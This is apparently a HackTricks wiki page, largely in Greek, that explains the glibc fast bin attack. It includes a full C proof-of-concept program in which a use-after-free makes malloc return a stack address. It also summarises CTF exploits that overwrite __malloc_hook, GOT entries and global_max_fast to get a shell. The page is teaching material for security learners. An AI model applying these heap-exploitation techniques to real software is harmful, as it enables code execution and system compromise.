Fast Bin Attack
Reading time: 10 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Basic Information
Για περισσότερες πληροφορίες σχετικά με το τι είναι ένα fast bin, ελέγξτε αυτή τη σελίδα:
Επειδή το fast bin είναι μια απλή συνδεδεμένη λίστα, υπάρχουν πολύ λιγότερες προστασίες σε σύγκριση με άλλες bins και απλά η τροποποίηση μιας διεύθυνσης σε ένα ελεύθερο fast bin chunk είναι αρκετή για να μπορέσετε να κατανείμετε αργότερα ένα chunk σε οποιαδήποτε διεύθυνση μνήμης.
Ως σύνοψη:
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
Μπορείτε να βρείτε ένα πλήρες παράδειγμα σε έναν πολύ καλά εξηγημένο κώδικα από https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
caution
Αν είναι δυνατόν να επαναγραφεί η τιμή της παγκόσμιας μεταβλητής global_max_fast
με έναν μεγάλο αριθμό, αυτό επιτρέπει τη δημιουργία γρήγορων κομματιών μεγαλύτερων μεγεθών, δυνητικά επιτρέποντας την εκτέλεση γρήγορων επιθέσεων σε σενάρια όπου δεν ήταν δυνατή προηγουμένως. Αυτή η κατάσταση είναι χρήσιμη στο πλαίσιο της large bin attack και της unsorted bin attack
Παραδείγματα
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- Είναι δυνατόν να εκχωρηθούν κομμάτια, να απελευθερωθούν, να διαβαστούν τα περιεχόμενά τους και να γεμίσουν (με μια ευπάθεια overflow).
- Συγκέντρωση κομματιού για infoleak: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο
prev_size
, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, είναι δυνατόν να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (main_arena+88
). - Επαναγραφή malloc hook: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατόν να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατόν να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατόν να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το
__malloc_hook
(έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.
Τελικά, γράφτηκε ένα one gadget εκεί. - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατόν να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες
- Libc info leak: Απλά απελευθερώστε μερικά κομμάτια και θα λάβουν έναν δείκτη σε ένα μέρος της τοποθεσίας της κύριας αρένας. Καθώς μπορείτε να ξαναχρησιμοποιήσετε τους απελευθερωμένους δείκτες, απλά διαβάστε αυτή τη διεύθυνση.
- Fast bin attack: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του
free
να δείχνει στοsystem
και στη συνέχεια να γράψουμε"/bin/sh"
στο κομμάτι 1 για να καλέσουμεfree(chunk1)
το οποίο αντίθετα θα εκτελέσειsystem("/bin/sh")
. - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- Μετά από μια διαρροή infoleak καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατόν να επαναγραφούν ορισμένοι δείκτες για να γράψουν μια διεύθυνση one gadget στο GOT
- Μπορείτε να βρείτε μια γρήγορη επίθεση Bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin:
- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχράστε τις λίστες ελευθερίας για να διαρρεύσετε διευθύνσεις libc/heap (όταν χρειάζεται).
- Robot Factory. BlackHat MEA CTF 2022
- Μπορούμε μόνο να εκχωρήσουμε κομμάτια μεγέθους μεγαλύτερου από
0x100
. - Επαναγράψτε το
global_max_fast
χρησιμοποιώντας μια αταξινόμητη επίθεση bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits). - Γρήγορη επίθεση Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο
system
.
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.